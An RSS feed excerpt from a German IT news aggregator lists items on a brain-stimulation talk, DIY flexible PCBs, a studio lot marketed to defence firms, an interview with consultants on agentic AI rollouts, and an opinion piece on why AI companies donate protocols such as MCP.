<guid isPermaLink="true">https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 14:33:32 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain activation without having to anaesthetise, cut, drill or otherwise violate the skull! 

The plan for this talk is to tell you a bit about brains and what we can learn from stimulating them using electromagnets and weak electric currents. As well as some sophisticated science, this approach has also seen some crazy claims about what brain stimulation can do. To separate the signal from the noise, open science has had a massive role to play. 

The lab that I co-lead has used open science approaches to explore brain activity using NiBS and found… not much. But, by using an open science approach, and systematically experimenting using NiBS, the how and why of ‘not much’ can be particularly useful and hopefully interesting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/79-stimulating-brains-without-touching-them-a-story-of-magnets]]></content:encoded>
</item>
<item>
<title><![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]></title>
<description><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain acti...]]></description>
<link>https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 14:25:02 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain activation without having to anaesthetise, cut, drill or otherwise violate the skull! 

The plan for this talk is to tell you a bit about brains and what we can learn from stimulating them using electromagnets and weak electric currents. As well as some sophisticated science, this approach has also seen some crazy claims about what brain stimulation can do. To separate the signal from the noise, open science has had a massive role to play. 

The lab that I co-lead has used open science approaches to explore brain activity using NiBS and found… not much. But, by using an open science approach, and systematically experimenting using NiBS, the how and why of ‘not much’ can be particularly useful and hopefully interesting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/79-stimulating-brains-without-touching-them-a-story-of-magnets]]></content:encoded>
</item>
<item>
<title><![CDATA[Hollywood Sci-fi Studio Lot Now Pitched As Site To Make Real Space-age Weapons]]></title>
<description><![CDATA[James Cameron filmed his Avatar sequels there. Marvel filmed Thor, Iron Man 2, and The Avengers. Manhattan Beach Studios in Los Angeles even handled Star Wars' series like Obi-Wan Kenobi and The Mandalorian, which Bloomberg points out is about "a heavily armed bounty hunter in a galaxy far, far a...]]></description>
<link>https://tsecurity.de/de/3681061/it-security-nachrichten/hollywood-sci-fi-studio-lot-now-pitched-as-site-to-make-real-space-age-weapons/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681061/it-security-nachrichten/hollywood-sci-fi-studio-lot-now-pitched-as-site-to-make-real-space-age-weapons/</guid>
<pubDate>Mon, 20 Jul 2026 13:53:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[James Cameron filmed his Avatar sequels there. Marvel filmed Thor, Iron Man 2, and The Avengers. Manhattan Beach Studios in Los Angeles even handled Star Wars' series like Obi-Wan Kenobi and The Mandalorian, which Bloomberg points out is about "a heavily armed bounty hunter in a galaxy far, far away." 

"Now lenders who are selling the property's $240 million mortgage are promoting the site to potential buyers as a hub for making real space-age weapons."

"The project is strategically positioned within Los Angeles' prominent aerospace and innovation corridor, anchored by industry leaders such as Northrop Grumman, Raytheon Technologies and SpaceX," said Cushman &amp; Wakefield, which has the listing. "A supply-demand imbalance has emerged, driven by the growing concentration of advanced manufacturing users and a limited supply of viable space," the real estate brokerage said in a presentation. Bids are due July 28. 
The marketing pitch reflects Southern California's shifting economic landscape as the movie business slumps and weapons makers seek to cash in on surging Pentagon spending... The defense boom is spurring the revival of a regional industry that once churned out World War II bombers, supersonic Cold War planes and Apollo command and service modules before shrinking after the fall of the Soviet Union... In the Los Angeles area, aerospace and defense-related tenants have accounted for 11% of new industrial real estate leases since the start of 2025, up from an annual average 2% during the preceding decade, according to a report this month by brokerage Newmark Group Inc. 

Los Angeles "has always gone through transformations," Stephen Cheung, president of the Los Angeles County Economic Development Corp., told Bloomberg. "This is one of those."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Hollywood+Sci-fi+Studio+Lot+Now+Pitched+As+Site+To+Make+Real+Space-age+Weapons+%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F20%2F0331209%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F20%2F0331209%2Fhollywood-sci-fi-studio-lot-now-pitched-as-site-to-make-real-space-age-weapons%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/07/20/0331209/hollywood-sci-fi-studio-lot-now-pitched-as-site-to-make-real-space-age-weapons?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs]]></title>
<description><![CDATA[Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.



But smaller firms are in the mix now, as well. AI is helping 28Stone Con...]]></description>
<link>https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</guid>
<pubDate>Mon, 20 Jul 2026 13:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Major AI labs are <a href="https://www.computerworld.com/article/4171867/heres-one-career-emerging-from-the-ai-shift-forward-deployed-engineers.html">unleashing forward-deployed engineers</a> (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.</p>



<p class="wp-block-paragraph">But smaller firms are in the mix now, as well. AI is helping <a href="https://www.28stone.com/" target="_blank" rel="noreferrer noopener">28Stone Consulting</a>, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the <a href="https://www.computerworld.com/article/4180088/ai-vendor-fdes-key-considerations-and-concerns.html">rush to deliver FDEs</a>.</p>



<p class="wp-block-paragraph">In this Q&amp;A, <a href="https://www.linkedin.com/in/thomas-dolan-4124914" target="_blank" rel="noreferrer noopener">Thomas Dolan</a> and <a href="https://www.linkedin.com/in/frank-erickson-07675a1" target="_blank" rel="noreferrer noopener">Frank Erickson</a>, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.</p>



<p class="wp-block-paragraph">Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.</p>



<p class="wp-block-paragraph"><em>Computerworld</em> spoke with both founding partners about why companies are still stumbling with <a href="https://www.computerworld.com/article/4083589/from-chatbots-to-colleagues-how-agentic-ai-is-redefining-enterprise-automation.html">agentic AI rollouts</a>, and what a disciplined delivery process actually looks like.</p>



<p class="wp-block-paragraph"><strong>After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And it’s temporary. At some point, AI is going to be synonymous with software development.</p>



<p class="wp-block-paragraph">“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”</p>



<p class="wp-block-paragraph"><strong>What does agentic AI delivery look like?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’ve got several AI initiatives delivering a pure agentic approach. We’ve doubled down on the human expertise wrapper in the SDLC. That doesn’t mean sacrificing any of the benefits of the AI models — quite the opposite.</p>



<p class="wp-block-paragraph">“You don’t achieve anywhere near the same level of value from applying AI without keeping that expertise — industry, functional and technical — throughout the process.”</p>



<p class="wp-block-paragraph"><strong>Where do humans stay in the loop once agents are doing the work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re believers in starting with requirements discovery. Someone who knows the analytical nuances of a good business analyst is critically important; shaping a product owner’s business information through a markup file that can be fed into a BA agent, then treating the output as if it came from a very fast junior BA. Only then is the story complete.</p>



<p class="wp-block-paragraph">“The developer takes that story, transforms it into the most efficient input, then owns the output, because they’re accountable for that code. A developer should own the code on both the input and output side.</p>



<p class="wp-block-paragraph">“Your product owner, who knows the business, that’s great. But expecting them to interact with an agent and output enterprise code is ridiculous. It’s not a great plan.“</p>



<p class="wp-block-paragraph"><strong>Why not just put one do-everything person in charge of AI and agents?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “Every analyst, programmer or software engineer isn’t a great requirements analyst. And a great domain analyst with some technical background won’t know if the agent’s code is garbage, maintainable, performant.</p>



<p class="wp-block-paragraph">“It’s unrealistic to expect one individual to have that breadth across domain, software engineering, testing, deployment. Clients ask all the time, and we push back: ‘Great, if you can find that guy, they’re few and far between.’ To deliver at the enterprise level, you need the human expertise, at depth.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “There’s system speed and latency, important in parts of finance. Then there’s speed of delivery, because other areas evolve quickly and time-to-market is critical.</p>



<p class="wp-block-paragraph">“Our human wrapper may at first pass come across as a little slowed down. Maybe it is. But [Erickson] has a good analogy about one of the dangers of AI: you can end up going really fast in the wrong direction. By the time you look up, you’re way off base and have to backtrack.“</p>



<p class="wp-block-paragraph"><strong>What about AI in your sector do you think is overhyped?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “The hype around the ease of use of AI and the democratization of enterprise software delivery — that ‘anybody could do it now, it’s all being done by machines’ — is another idea that could prove costly in the long run.</p>



<p class="wp-block-paragraph">“This do-it-yourself reaction is dangerous for clients, and for trust in the overall AI benefit, which is real. We compare it to the beginning of offshoring 20, 30 years ago: a golden idea that was going to cure everything. A lot of firms did it thoughtlessly, thinking it’s just labor arbitrage, and it almost inevitably failed. That all-or-nothing mentality missed that offshoring is an amazing way of getting better value for your dollar, but it has to be done thoughtfully, so the delivery process — the thing that ties it all together — stays unsevered.</p>



<p class="wp-block-paragraph">“We’re seeing that now. I’ve heard, ‘We’ll just push a button, the machine’s building the system.’ The machine is not building the system. It might be writing the code, the story, running the tests.</p>



<p class="wp-block-paragraph">The system is built by a team of engineers you bring in and trust. My fear is that people will say, ‘We don’t need this vendor or this technology team. I’ve got a product team. They might not be able to code at all, but they know the business,’ and it fails dramatically. </p>



<p class="wp-block-paragraph">“Then people say, ‘We played with AI, it’s not ready yet,’ and throw it all away. One of the best things we can do is ensure clients know the benefit is real.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “The hype can be summed up in a single phrase: <a href="https://www.computerworld.com/article/4022711/when-everything-is-vibing.html">vibe coding</a>. That has done AI a massive disservice, because there’s a huge difference between vibe coding and enterprise software development, and some of the loudest proponents of AI are too latched on to it. In our industry, the only way to succeed would be a stable of unicorns. It just doesn’t scale. I get perturbed when our people internally refer to AI tooling as vibe coding; if they think that’s what they’re doing, they’re misunderstood.“</p>



<p class="wp-block-paragraph"><strong>When you engage clients at different levels of AI maturity, how do you get them to a understand what works?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “95% of our take on an agentic approach is in line with everyone else’s, but that 5% matters, especially in requirements discovery, in who’s giving the requirements and how they’re thought of. It can set you up for dramatic errors, given the speed at which you’re moving.</p>



<p class="wp-block-paragraph">“There’s a dangerous human tendency we’re seeing among clients to try and cut corners at the start of a project and — in lieu of having deep, expert driven discovery sessions — just summarize what they may want using AI.</p>



<p class="wp-block-paragraph">“We would hope our clients are collaborative, everyone understanding it’s early days. If a client insists on doing something we feel strongly against, like a product owner completely owning everything right up to code generation, that’s an issue we have to either push back strongly on or step out of the accountability for.“</p>



<p class="wp-block-paragraph"><strong>AI body shops — LLM providers and giant consultancies — are emerging to help enterprises deploy AI. Does that model work?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Whether you’re partnering with an LLM or with an AI-first, generic software provider — ‘Hey, we’re not industry guys, but we know AI delivery’ — you end up, if you’re a bank or a broker-dealer, saying: ‘All right, we know our business, these guys know the AI side of it. What could go wrong? Put us together and we’ll have quality engineering.’</p>



<p class="wp-block-paragraph">“The problem is what you miss: the know-how of putting industry and technical expertise together and actually delivering financial services systems. The people working at the generic delivery firms, whether an AI-only firm or a body shop somewhere, don’t have that capability.“</p>



<p class="wp-block-paragraph"><strong>Does AI change the economics for smaller consultancies like yours competing against the big firms, and does it cut both ways?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “Over our 15 years pre-AI, there were two recurring reasons we’d lose a project. One: ‘We’d love to work with you guys, given your subject matter expertise, but the costs just aren’t there compared to my budgets. I’m being forced to go to a body shop or an [offshore] delivery center.’ The other side of that coin: ‘We love your capabilities, but you’re a firm of 230 people and I need 300, 400 people.’</p>



<p class="wp-block-paragraph">“AI changes the options for clients. You don’t have to sacrifice the niche vendor who knows your space just because you need a larger team or a cost target. AI levels the playing field and should allow smaller firms to compete with the larger, big-box generic firms, the Accentures of the world.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “It redefines what scale means. You can look at velocity as a measure of your cost to deliver, not a rate card. Scale can’t be defined in terms of headcount anymore. It’s got to be defined in terms of output.</p>



<p class="wp-block-paragraph">“There’s a threat in it, too. If you’re an Accenture with hundreds of thousands of low-cost software engineers, how do you train all those people? I feel for them. But for us, a couple hundred people with a specific domain focus, it’s a huge opportunity.“</p>



<p class="wp-block-paragraph"><strong>How has the profile of the people you and others hire changed with this agentic process?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “You’re still looking for people with strong engineering and design backgrounds, and communication skills, because they interact across the software development lifecycle more than in the past.</p>



<p class="wp-block-paragraph">“Many take too much joy in typing out perfect code. Sorry, I don’t need you writing for-loops and classes anymore. I need you reviewing them, understanding them, operating at a higher level. That’s a different kind of person: an engineer, not a programmer or a coder. On the [business analyst] side it’s similar: people took great pride in detailed user stories covering every path. Now it’s conversations, prompts, reviewing output — less doing, more interacting.</p>



<p class="wp-block-paragraph">“More than ever, they have to be interested in the domain. They can’t just be, ‘I want to learn everything there is to know about Java.’ That’s too narrow. They don’t have to be an expert; they have to be interested. In our case, capital markets is a specific niche. The biggest challenge is getting familiar with the tools — finding time, while delivering for customers, to ramp up and make the mistakes you need to without jeopardizing projects.“</p>



<p class="wp-block-paragraph"><strong>What about governance? Who’s keeping AI delivery and its costs under control?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “This is evolving rapidly. People aren’t sure how to put governance around this. The most obvious is financial governance. People are starting to get hefty bills. One of our clients spent a million dollars on tokens over the last eight weeks alone. Sticker shock. The token-maxing policies are starting to show their flaws. It’s wild west still: learn on the fly, then figure out what needs to be governed.“</p>



<p class="wp-block-paragraph"><strong>Are CIOs actually opening their wallets? And when they do, what’s the smarter way to invest?</strong></p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “There’s still a lot of caution. Forecasts keep going down on how long something should take. So: ‘I could wait three months and maybe still get it delivered by the same date someone’s promising me now, but for half the price. I’m going to wait and see when equilibrium is met.’ We haven’t seen the wallets open up like crazy — it’s slow adoption.“</p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “One of our clients is looking at it from a productivity-boost perspective: instead of doing the same for less, I can do much more for the same. AI lets clients pull the trigger on things they wouldn’t have in the past — projects that might not have been approved pre-AI, where the costs have come down to a point that’s palatable with the business.“</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And that’s the story we’re hoping to hear more of. There isn’t a huge cost anymore to exploring a business opportunity. The time and money that would have gone to a return-on-investment study could be spent on a proof-of-concept with AI, and the project done a few weeks later. Maybe [there’s] a hint of things to come, where decisions start being made quicker. </p>



<p class="wp-block-paragraph">“There’s a little fear on our side, though: a lot of tiny little projects is tough for a consulting business.“</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Flexible PCBs for you and for me: lessons learned from DIY-ing flexible electronics with artists, makers, hackers and engineers (emf2026)]]></title>
<description><![CDATA[Flexible circuit boards (flexible PCBs) are pretty cool: they are lightweight, can fold into small spaces, are bendable, and can be designed to stretch. You might have seen one inside a digital camera, a wearable, or connecting a screen to another board in a laptop or smartphone. Or you might hav...]]></description>
<link>https://tsecurity.de/de/3680934/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680934/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 13:03:37 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Flexible circuit boards (flexible PCBs) are pretty cool: they are lightweight, can fold into small spaces, are bendable, and can be designed to stretch. You might have seen one inside a digital camera, a wearable, or connecting a screen to another board in a laptop or smartphone. Or you might have had one made for an electronics project. But have you ever made one yourself? Unlike conventional, rigid PCBs, chances are you haven’t, for a number of reasons. But it doesn’t have to be this way: this talk will tell you how (and how not to) DIY your own flexible PCBs for your next electronics project.

This talk is part of an ongoing project on breaking flexible electronics fabrication out of research labs and specialised manufacturing facilities, and into the hands of makers, hackers, artists, and others. You will learn about materials and techniques for making flexible electronics, weird and wonderful uses for flexible PCBs, and hear about the results of DIY flexible PCB workshops in four different countries and counting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/235-flexible-pcbs-for-you-and-for-me]]></content:encoded>
</item>
<item>
<title><![CDATA[Flexible PCBs for you and for me: lessons learned from DIY-ing flexible electronics with artists, makers, hackers and engineers (emf2026)]]></title>
<description><![CDATA[Flexible circuit boards (flexible PCBs) are pretty cool: they are lightweight, can fold into small spaces, are bendable, and can be designed to stretch. You might have seen one inside a digital camera, a wearable, or connecting a screen to another board in a laptop or smartphone. Or you might hav...]]></description>
<link>https://tsecurity.de/de/3680897/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680897/it-security-video/flexible-pcbs-for-you-and-for-me-lessons-learned-from-diy-ing-flexible-electronics-with-artists-makers-hackers-and-engineers-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:55 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Flexible circuit boards (flexible PCBs) are pretty cool: they are lightweight, can fold into small spaces, are bendable, and can be designed to stretch. You might have seen one inside a digital camera, a wearable, or connecting a screen to another board in a laptop or smartphone. Or you might have had one made for an electronics project. But have you ever made one yourself? Unlike conventional, rigid PCBs, chances are you haven’t, for a number of reasons. But it doesn’t have to be this way: this talk will tell you how (and how not to) DIY your own flexible PCBs for your next electronics project.

This talk is part of an ongoing project on breaking flexible electronics fabrication out of research labs and specialised manufacturing facilities, and into the hands of makers, hackers, artists, and others. You will learn about materials and techniques for making flexible electronics, weird and wonderful uses for flexible PCBs, and hear about the results of DIY flexible PCB workshops in four different countries and counting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/235-flexible-pcbs-for-you-and-for-me]]></content:encoded>
</item>
<item>
<title><![CDATA[Avengers: Doomsday tickets are going on sale shortly — and some fans are convinced that Marvel will surprise us, and reveal the new MCU movie's official trailer, too]]></title>
<description><![CDATA[Marvel fans have a new theory about Avengers: Doomsday's next trailer — but it's not one I can get on board with.]]></description>
<link>https://tsecurity.de/de/3680882/it-nachrichten/avengers-doomsday-tickets-are-going-on-sale-shortly-and-some-fans-are-convinced-that-marvel-will-surprise-us-and-reveal-the-new-mcu-movies-official-trailer-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680882/it-nachrichten/avengers-doomsday-tickets-are-going-on-sale-shortly-and-some-fans-are-convinced-that-marvel-will-surprise-us-and-reveal-the-new-mcu-movies-official-trailer-too/</guid>
<pubDate>Mon, 20 Jul 2026 12:48:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Marvel fans have a new theory about Avengers: Doomsday's next trailer — but it's not one I can get on board with.]]></content:encoded>
</item>
<item>
<title><![CDATA[The gravitational pull of AI]]></title>
<description><![CDATA[Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic donated to the Linux Foundation’s new Agentic AI Foundation⁠. At the time, MCP was pulling nea...]]></description>
<link>https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680668/ai-nachrichten/the-gravitational-pull-of-ai/</guid>
<pubDate>Mon, 20 Jul 2026 11:04:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Last year Anthropic gave away one of the most successful things it has ever built. And, no, I’m not talking about Claude. I’m referring to MCP, the now ubiquitous Model Context Protocol, which Anthropic <a href="https://anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation">donated to the Linux Foundation’s new Agentic AI Foundation</a>⁠. At the time, MCP was <a href="https://blog.modelcontextprotocol.io/posts/2025-12-09-mcp-joins-agentic-ai-foundation/">pulling nearly 100 million monthly SDK downloads</a> across more than 10,000 active servers⁠, prompting the question as to why any company would give up such a popular piece of technology.</p>



<p class="wp-block-paragraph">Google did much the same months earlier, <a href="https://developers.googleblog.com/en/google-cloud-donates-a2a-to-linux-foundation/">handing its Agent2Agent (A2A) protocol</a> to the Linux Foundation⁠ with AWS, Cisco, Microsoft, Salesforce, SAP, and ServiceNow signing on as founding members. OpenAI, not to be outdone, <a href="https://openai.com/index/new-tools-and-features-in-the-responses-api/">supports remote MCP servers in its Responses API</a>⁠, sits on the MCP steering committee, and contributed AGENTS.md to that same foundation alongside its fiercest rival’s protocol.</p>



<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]></title>
<description><![CDATA[Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that mus...]]></description>
<link>https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/</guid>
